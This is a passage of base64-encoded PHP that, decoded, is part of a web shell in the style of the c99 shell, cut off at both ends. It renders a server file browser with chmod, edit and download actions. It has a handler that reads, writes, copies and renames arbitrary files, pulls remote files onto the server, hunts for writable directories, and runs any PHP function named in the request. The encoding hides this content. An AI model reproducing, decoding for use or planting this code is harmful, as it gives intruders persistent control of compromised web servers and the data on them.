gICAgICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgICRyb3cgPSBhcnJheSgpOw0KICAgICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+RGF0ZSBNb2RpZmllZDwvYj4iOw0KICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQ0KICAgICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOw0KICAgICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9DQogICAgICAkeSA9ICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOw0KICAgICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICAgICRyb3dbJGtdIC49ICR5Ow0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPiIuJHJvd1skaV0uIjwvYT4iO30NCiAgICAgIH0NCiAgICAgICR2ID0gJHBhcnNlc29ydFswXTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7DQogICAgICB1c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gPT0gImQiKSB7DQogICAgICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOw0KICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgfQ0KICAgICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgJHRhYiA9IGFycmF5KCk7DQogICAgICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsNCiAgICAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICAgICRpID0gMDsNCiAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKSB7DQogICAgICAgICR2ID0gJGFbMF07DQogICAgICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAkZGlyID0gZGlybmFtZSgkdik7DQogICAgICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30NCiAgICAgICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOw0KICAgICAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQ0KICAgICAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICAgICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikgew0KICAgICAgICAgIGlmIChlcmVnKCRyWzBdLCRvKSkgew0KICAgICAgICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkpIG9yICgkclsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBDb25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIjsgY2Fwcml2OGV4aXQoKTt9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpIHsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQ0KICAgICAgICAgICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAgICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRvID09ICIuIikgew0KICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRvLiI8L2E+IjsNCiAgICAgICAgICAkcm93W10gPSAiQ1VSRElSIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHsNCiAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJG8uIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9ICJVUERJUiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7DQogICAgICAgICAgaWYgKGlzX2xpbmsoJHYpKSB7DQogICAgICAgICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsNCiAgICAgICAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHR5cGUgPSAiRElSIjsNCiAgICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c21hbGxfZGlyXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHsNCiAgICAgICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOw0KICAgICAgICAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICAgICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAgICAgICAgJHJvd1tdID0gICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZGlzcHBhdGguIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsNCiAgICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQ0KICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICAgICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9DQogICAgICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiPiI7fQ0KICAgICAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1kJmQ9Ii4kdXYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgICAgIGVsc2UgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1lZGl0JmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZG93bmxvYWRcIiBhbHQ9XCJEb3dubG9hZFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQ0KICAgICAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgfQ0KICAgICR0YWJsZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJoZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7DQogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+WyAiOw0KICAgIGlmICghZW1wdHkoJGZ4X2luZm9oZWFkKSkgeyBlY2hvICRmeF9pbmZvaGVhZDsgfQ0KICAgIGVsc2UgeyBlY2hvICJGaWxlcy9Gb2xkZXJzICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImZvbGRlcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZm9sZGVycykiOyB9DQogICAgZWNobyAiIF08L2Rpdj5cbiI7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1QgbmFtZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iLg0KICAgICAgICAgIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOw0KICAgIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpIHsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZm9yZWFjaCgkcm93IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICAgICBlY2hvICI8L3RyPlxyXG4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPiIuDQogICAgICAgICAiPHNjcmlwdD4iLg0KICAgICAgICAgImZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykgeyIuDQogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7Ii4NCiAgICAgICAgICIgd2hpbGUgKGlkIDw9IG51bSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9IHN0YXR1czsgaWQrKzsgfSIuDQogICAgICAgICAifSIuDQogICAgICAgICAiZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKSB7Ii4NCiAgICAgICAgICIgdmFyIGlkID0gMTsgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsiLg0KICAgICAgICAgIiB3aGlsZSAoaWQgPD0gbnVtKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkOyBpZCsrOyB9Ii4NCiAgICAgICAgICJ9Ii4NCiAgICAgICAgICI8L3NjcmlwdD4iLg0KICAgICAgICAgIjxkaXYgYWxpZ249XCJyaWdodFwiPiIuDQogICAgICAgICAiPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wiIHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+Ii4NCiAgICAgICAgICI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+IjsNCiAgICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpIHsNCiAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiZnhfYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgIH0NCiAgICBlY2hvICI8c2VsZWN0IG5hbWU9eD48b3B0aW9uIHZhbHVlPVwiIi4keC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+Q2hhbmdlLW1vZGU8L29wdGlvbj4iOw0KICAgIGlmICgkdXNlZnNidWZmKSB7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWN1dCIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPkNvcHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIuKCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNlbGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9uPiI7DQogICAgfQ0KICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L2Rpdj4iOw0KICAgIGVjaG8gIjwvZm9ybT4iOw0KICB9DQp9DQppZiAoJHggPT0gInRvb2xzIikgDQp7DQoNCn0NCmlmICgkeCA9PSAicGhwZnN5cyIpIHsNCiAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7DQogICRmc2Z1bmMgPSAkcGhwZnN5c2Z1bmM7DQogIGlmICgkZnNmdW5jPT0iY29weSIpIHsNCiAgICBpZiAoIWNvcHkoJGFyZzEsICRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gY29weSAkYXJnMS4uLlxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBjb3BpZWQgdG8gJGFyZzJcbiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJyZW5hbWUiKSB7DQogICAgaWYgKCFyZW5hbWUoJGFyZzEsICRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gcmVuYW1lL21vdmUgJGFyZzEhXG4iO30NCiAgICBlbHNlIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHJlbmFtZWQvbW92ZWQgdG8gJGFyZzJcbiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJjaG1vZCIpIHsNCiAgICBpZiAoIWNobW9kKCRhcmcxLCRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gY2htb2QgJGFyZzEhXG4iO30NCiAgICBlbHNlIHsgZWNobyAiPGI+UGVybSBmb3IgJGFyZzEgY2hhbmdlZCB0byAkYXJnMiE8L2I+XG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0icmVhZCIpIHsNCiAgICAkaGFzaWwgPSBAZmlsZV9nZXRfY29udGVudHMoJGFyZzEpOw0KICAgIGVjaG8gIjxiPkZpbGVuYW1lOjwvYj4gJGFyZzE8YnI+IjsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz0xNTAgcm93cz0yMD4iOw0KICAgIGVjaG8gJGhhc2lsOw0KICAgIGVjaG8gIjwvdGV4dGFyZWE+XG4iOw0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09IndyaXRlIikgew0KICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkZC4kYXJnMSwkYXJnMikpIHsNCiAgICAgIGVjaG8gIjxiPlNhdmVkITwvYj4gIi4kZC4kYXJnMTsNCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gJGFyZzEhPC9kaXY+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09ImRvd25sb2FkYmluIikgew0KICAgICRoYW5kbGUgPSBmb3BlbigkYXJnMSwgInJiIik7DQogICAgJGNvbnRlbnRzID0gJyc7DQogICAgd2hpbGUgKCFmZW9mKCRoYW5kbGUpKSB7DQogICAgICAkY29udGVudHMgLj0gZnJlYWQoJGhhbmRsZSwgODE5Mik7DQogICAgfQ0KICAgICRyID0gQGZvcGVuKCRkLiRhcmcyLCd3Jyk7DQogICAgaWYgKGZ3cml0ZSgkciwkY29udGVudHMpKSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBzYXZlZCB0byAiLiRkLiRhcmcyLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRhcmcyKSkuIikiOyB9DQogICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0NCiAgICBmY2xvc2UoJHIpOw0KICAgIGZjbG9zZSgkaGFuZGxlKTsNCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJkb3dubG9hZCIpIHsNCiAgICAkdGV4dCA9IGltcGxvZGUoJycsIGZpbGUoJGFyZzEpKTsNCiAgICBpZiAoJHRleHQpIHsNCiAgICAgICRyID0gQGZvcGVuKCRkLiRhcmcyLCd3Jyk7DQogICAgICBpZiAoZndyaXRlKCRyLCR0ZXh0KSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgc2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIpIjsgfQ0KICAgICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0NCiAgICAgIGZjbG9zZSgkcik7DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IGRvd25sb2FkIGZyb20gJGFyZzEhPC9kaXY+Ijt9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0nbWtkaXInKSB7DQogICAgJHRoZWRpciA9ICRkLiRhcmcxOw0KICAgIGlmICgkdGhlZGlyICE9ICRkKSB7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHRoZWRpcikpIHsgZWNobyAiPGI+QWxyZWFkeSBleGlzdHM6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7IH0NCiAgICAgIGVsc2VpZiAoIW1rZGlyKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFjY2VzcyBkZW5pZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7IH0NCiAgICAgIGVsc2UgeyBlY2hvICI8Yj5EaXIgY3JlYXRlZDo8L2I+ICIuaHRtbHNwZWNpYWxjaGFycygkdGhlZGlyKTt9DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICJDb3VsZG4ndCBjcmVhdGUgY3VycmVudCBkaXI6PGI+ICR0aGVkaXI8L2I+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J2Z3cml0YWJsZWRpcicpIHsNCiAgICBmdW5jdGlvbiByZWN1cnNlX2RpcigkZGlyLCRtYXhfZGlyKSB7DQogICAgICBnbG9iYWwgJGRpcl9jb3VudDsNCiAgICAgICRkaXJfY291bnQrKzsNCiAgICAgIGlmKCAkY2RpciA9IEBkaXIoJGRpcikgKSB7DQogICAgICAgIHdoaWxlKCAkZW50cnkgPSAkY2Rpci0+IHJlYWQoKSApIHsNCiAgICAgICAgICBpZiggJGVudHJ5ICE9ICcuJyAmJiAkZW50cnkgIT0gJy4uJyApIHsNCiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRlbnRyeSkgJiYgaXNfd3JpdGFibGUoJGRpci4kZW50cnkpICkgew0KICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID4gJG1heF9kaXIpIHsgcmV0dXJuOyB9DQogICAgICAgICAgICAgIGVjaG8gIlsiLiRkaXJfY291bnQuIl0gIi4kZGlyLiRlbnRyeS4iXG4iOw0KICAgICAgICAgICAgICByZWN1cnNlX2RpcigkZGlyLiRlbnRyeS5ESVJFQ1RPUllfU0VQQVJBVE9SLCRtYXhfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGNkaXItPmNsb3NlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGlmICghJGFyZzEpIHsgJGFyZzEgPSAkZDsgfQ0KICAgIGlmICghJGFyZzIpIHsgJGFyZzIgPSAxMDsgfQ0KICAgIGVjaG8gIjxiPldyaXRhYmxlIGRpcmVjdG9yaWVzIChNYXg6ICRhcmcyKSBpbjo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHByZT4iOw0KICAgIHJlY3Vyc2VfZGlyKCRhcmcxLCRhcmcyKTsNCiAgICBlY2hvICI8L3ByZT4iOw0KICAgICR0b3RhbCA9ICRkaXJfY291bnQgLSAxOw0KICAgIGVjaG8gIjxiPkZvdW5kczo8L2I+ICIuJHRvdGFsLiIgb2YgPGI+TWF4PC9iPiAkYXJnMiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCEkYXJnMSkgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPk5vIG9wZXJhdGlvbiEgUGxlYXNlIGZpbGwgcGFyYW1ldGVyIFtBXSE8L2Rpdj5cbiI7IH0NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkaGFzaWwgPSAkZnNmdW5jKCRhcmcxKSkgew0KICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgJGZzZnVuYyAkYXJnMTo8L2I+PGJyPiI7DQogICAgICAgIGlmICghaXNfYXJyYXkoJGhhc2lsKSkgeyBlY2hvICIkaGFzaWxcbiI7IH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgIGZvcmVhY2ggKCRoYXNpbCBhcyAkdikgeyBlY2hvICR2LiJcbiI7IH0NCiAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz4kZnNmdW5jICRhcmcxIGZhaWxlZCE8L2Rpdj5cbiI7IH0NCiA